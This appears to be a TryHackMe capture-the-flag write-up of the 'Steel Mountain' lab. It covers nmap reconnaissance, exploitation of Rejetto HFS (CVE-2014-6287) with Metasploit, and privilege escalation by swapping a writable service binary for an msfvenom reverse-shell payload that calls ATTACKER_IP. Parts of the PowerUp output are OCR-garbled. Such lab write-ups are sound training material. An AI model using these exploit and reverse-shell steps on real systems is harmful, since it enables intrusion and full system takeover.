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Setup

We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the Access page.

I'll be using openvpn to connect to the server. Here's the command:

```
$ sudo openvpn --config NovusEdge.ovpn
```

Reconnaissance

Conducting an nmap scan, we find the following information:

```
$ sudo nmap -sS -vv --top-ports 2000 -oN nmap_scan.txt -Pn TARGET_IP
        STATE SERVICE
PORT
                          REASON
80/tcp open http
                          syn-ack ttl 127
135/tcp open msrpc
                          syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
8080/tcp open http-proxy
                           syn-ack ttl 127
49152/tcp open unknown
                           syn-ack ttl 127
49153/tcp open unknown
                           syn-ack ttl 127
49154/tcp open unknown
                          syn-ack ttl 127
49155/tcp open unknown
                           syn-ack ttl 127
49156/tcp open unknown
                            syn-ack ttl 127
```


There's a http wen serber running on port 80 and a proxy running on 8080. Using a browser to visit the web page on port 80, we see a simple page with a picture of the employee of the month. Inspecting the web page, we can see that the image's source is: /img/BillHarper.png. This gives us the answer to the first question asked in the room:

```
Who is the employee of the month?
Answer: Bill Harper
```

From the nmap scans, we also have the answer for the next task:

```
Scan the machine with nmap. What is the other port running a web server on?
Answer: 8080
```

If we try and visit the page: http://TARGET_IP:8080/ using the browser, we're greeted with the following:



No files in this folder

If we try to login and cancel, we're redirected to the following web page, which can then be followed by clicking on the httpFileServer 2.3 link, taking us to the HFS server's documentation page:

Unauthorized

Either your user name and password do not match, or you are not permitted to access this resource.

HttpFlieServer 2.3
11/24/2022 12:44:11 PM

Download

Awards

What's new

To-do-list

Support

Fox ne or Cithus

What is it?

- ... it's file sharing
- ... it's webserver

Introduction

- ... it's open source
- ... it's free
- ... it's guaranteed to contain no malware

Screenshots

Features

- Download and upload
- Virtual file system
- Highly customizable
- HTML template
- Bandwidth control
- Easy/Expert mode
- Log
- Full control over connections
- Accounts
- Dynamic DNS updater

Description

You can use HFS (HTTP File Server) to send and receive files. It's different from classic file sharing because it uses web technology to be more compatible with today's Internet. It also differs from classic web servers because it's very easy to use and runs "right out-of-the box".

Observe the URL is: https://www.rejetto.com/hfs. Putting it all together, we get the answer to the next question in the room:

Take a look at the other web server. What file server is running? Answer: Rejetto HTTP File Server

A quick search for exploits gives us some possible options for gaining access:

```
$ searchsploit rejetto http file server
Exploit Title
                                                                       l Path
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
                                                                       | windows/remote/31056.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
                                                                       | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
                                                                       | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
                                                                       | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Executi | windows/webapps/34852.txt
                                                                       | windows/webapps/49125.py
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
Shellcodes: No Results
```

For this task, we can use the last exploit on the list. Using searchsploit we can get the full path to the exploit and see what the corresponding CVE number for this exploit is:

```
$ searchsploit -p windows/webapps/49125.py
Exploit: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
URL: https://www.exploit-db.com/exploits/49125
```

```
Path: /usr/share/exploitdb/exploits/windows/webapps/49125.py

File Type: Python script, Unicode text, UTF-8 text executable

Copied EDB-ID #49125's path to the clipboard

**head /usr/share/exploitdb/exploits/windows/webapps/49125.py

#*Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)

#*Google Dork: intext: "httpfileserver 2.3"

#*Date: 28-11-2020

#*Remote: Yes

#*Exploit Author: Öscar Andreu

#*Vendor Homepage: http://rejetto.com/

#*Software Link: http://sourceforge.net/projects/hfs/

#*Version: 2.3.x

#*Tested on: Windows Server 2008 , Windows 8, Windows 7

#*CVE: CVE-2014-6287
```

What is the CVE number to exploit this file server?

Answer: 2014-6287

Gaining Access

Using metasploit to gain initial access:

```
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS TARGET_IP
RHOSTS => TARGET_IP
msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
RPORT => 8080
msf6 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] Using URL: http://ATTACKER_IP:8080/jEDk49hV8EF
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /jEDk49hV8EF
[*] Sending stage (175686 bytes) to TARGET_IP
[!] Tried to delete %TEMP%\viAORyR.vbs, unknown result
[*] Meterpreter session 1 opened (ATTACKER_IP:4444 -> TARGET_IP:49244) at 2022-11-25 00:32:52 +0330
[*] Server stopped.
meterpreter >
```

With the meterpreter session, we get the user flag:

We thus have our user flag:

```
Use Metasploit to get an initial shell. What is the user flag?

Answer: b04763b6fcf51fcd7c13abc7db4fd365
```

Privilege Escalation

As instructed in the room's task description, we'll need to use the PowerUp script. Downloading the script using a simple wget command:

```
$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
```

We can upload this script using our meterpreter session and then execute it:

```
meterpreter > upload PowerUp.ps1
...

meterpreter > load powershell
Loading extension powershell...Success.

meterpreter > powershell_shell
PS > whoami
steelmountain\bill

PS > ..\PowerUp.ps1
PS > Invoke-AllChecks

ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
```

```
ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
               : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart
Name
               : AdvancedSystemCareService9
Check
               : Unquoted Service Paths
ServiceName
               : AdvancedSystemCareService9
               : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName
              : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart
               : True
               : AdvancedSystemCareService9
Name
Check
               : Unquoted Service Paths
ServiceName
               : AdvancedSystemCareService9
               : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
Path
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;
                Permissions=System.Object[]}
StartName
              : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart
Name
               : AdvancedSystemCareService9
Check
               : Unquoted Service Paths
              : AdvancedSystemCareService9
ServiceName
Path
               : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath: @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;
                 IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName
               : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart
Name
               : AdvancedSystemCareService9
               : Unquoted Service Paths
Check
ServiceName
              : AWSLiteAgent
               : C:\Program Files\Amazon\XenTools\LiteAgent.exe
Path
ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName
               : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>
CanRestart
              : False
              : AWSLiteAgent
Name
               : Unquoted Service Paths
Check
ServiceName
              : AWSLiteAgent
               : C:\Program Files\Amazon\XenTools\LiteAgent.exe
ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName
               : LocalSystem
```

AbuseFunction : Write-ServiceBinary -Name 'AWSLiteAgent' -Path <HijackPath>

CanRestart

: False

68 Name : AWSLiteAgent

69 Check : Unquoted Service Paths

70

71 ServiceName : IObitUnSvr

72 Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}

74 StartName : LocalSystem

75 AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

76 CanRestart : False

Name : IObitUnSvr

78 Check : Unquoted Service Paths

SO ServiceName : IObitUnSvr

31 Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

52 ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}

83 StartName : LocalSystem

34 AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

85 CanRestart : False 86 Name : IObitUnSvr

87 Check : Unquoted Service Paths

88

89 ServiceName : IObitUnSvr

Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

1 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit; IdentityReference=STEELMOUNTAIN\bill;

Permissions=System.Object[]}

93 StartName : LocalSystem

4 AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

97 Check : Unquoted Service Paths

98

99 ServiceName : IObitUnSvr

OO Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe

01 ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe;

IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}

03 StartName : LocalSystem

104 AbuseFunction : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>

105 CanRestart : False 106 Name : IObitUnSvr

07 Check : Unquoted Service Paths

108

09 ServiceName : LiveUpdateSvc

10 Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe

 $t ModifiablePath: @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}$

12 StartName : LocalSystem

113 AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>

14 CanRestart : False

15 Name : LiveUpdateSvc

116 Check : Unquoted Service Paths

117

18 ServiceName : LiveUpdateSvc

```
Path
                : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName
AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart
               : False
               : LiveUpdateSvc
Name
Check
               : Unquoted Service Paths
ServiceName
               : LiveUpdateSvc
Path
               : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe;
                  IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}
StartName
AbuseFunction : Write-ServiceBinary -Name 'LiveUpdateSvc' -Path <HijackPath>
CanRestart
               : False
               : LiveUpdateSvc
Check
               : Unquoted Service Paths
ServiceName
                                 : AdvancedSystemCareService9
Path
                                 : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFile
                                 : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions
                                 : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName
AbuseFunction
                                 : Install-ServiceBinary -Name 'AdvancedSystemCareService9'
CanRestart
                                 : True
                                 : AdvancedSystemCareService9
Name
Check
                                 : Modifiable Service Files
                                 : IObitUnSvr
ServiceName
Path
                                 : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFile
                                 : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiableFilePermissions
                                 : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName
AbuseFunction
                                 : Install-ServiceBinary -Name 'IObitUnSvr'
                                 : False
CanRestart
                                 : IObitUnSvr
Name
                                 : Modifiable Service Files
Check
ServiceName
                                 : LiveUpdateSvc
Path
                                 : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
ModifiableFile
                                 : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
                                 : {WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory...}
ModifiableFilePermissions
ModifiableFileIdentityReference : STEELMOUNTAIN\bill
StartName
AbuseFunction
                                 : Install-ServiceBinary -Name 'LiveUpdateSvc'
CanRestart
Name
                                 : LiveUpdateSvc
                                 : Modifiable Service Files
Check
```

The CanRestart option is set to true for the AdvancedSystemCareService9 service. Moreover, the service has

Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?

Answer: AdvancedSystemCareService9

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program.

We can generate a reverse shell payload using msfvenom and upload it to the server.

NOTE: Press Ctrl+C to terminate the loaded powershell session and get back to the meterpreter session.

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o

→ ASCService.exe

# In the meterpreter session:
meterpreter > shell
Process 100 created.
Channel 9 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\bill\Desktop> sc stop AdvancedSystemCareService9
SERVICE_NAME: AdvancedSystemCareService9
                          : 110 WIN32_OWN_PROCESS (interactive)
                          : 4 RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE
                         : 0 (0x0)
        SERVICE_EXIT_CODE : 0 (0x0)
        CHECKPOINT
                           : 0x0
        WAIT_HINT
C:\Users\bill\Desktop>^C
Terminate channel 9? [y/N] y
meterpreter > upload ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
meterpreter > shell
C:\Users\bill\Desktop>sc start AdvancedSystemCareService9
# To our listener:
$ nc -nvlp 4443
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
```

```
nt authority\system

C:\Windows\system32>cd C:\\Users\\Administrator\\Desktop

C:\Users\Administrator\Desktop>type root.txt

9af5f314f57607c00fd09803a587db80
```

We finally have the root flag!

What is the root flag?

Answer: 9af5f314f57607c00fd09803a587db80

Conclusion

I hope this writeup was useful. If you like it, please consider following me on github and dropping a star on the repo

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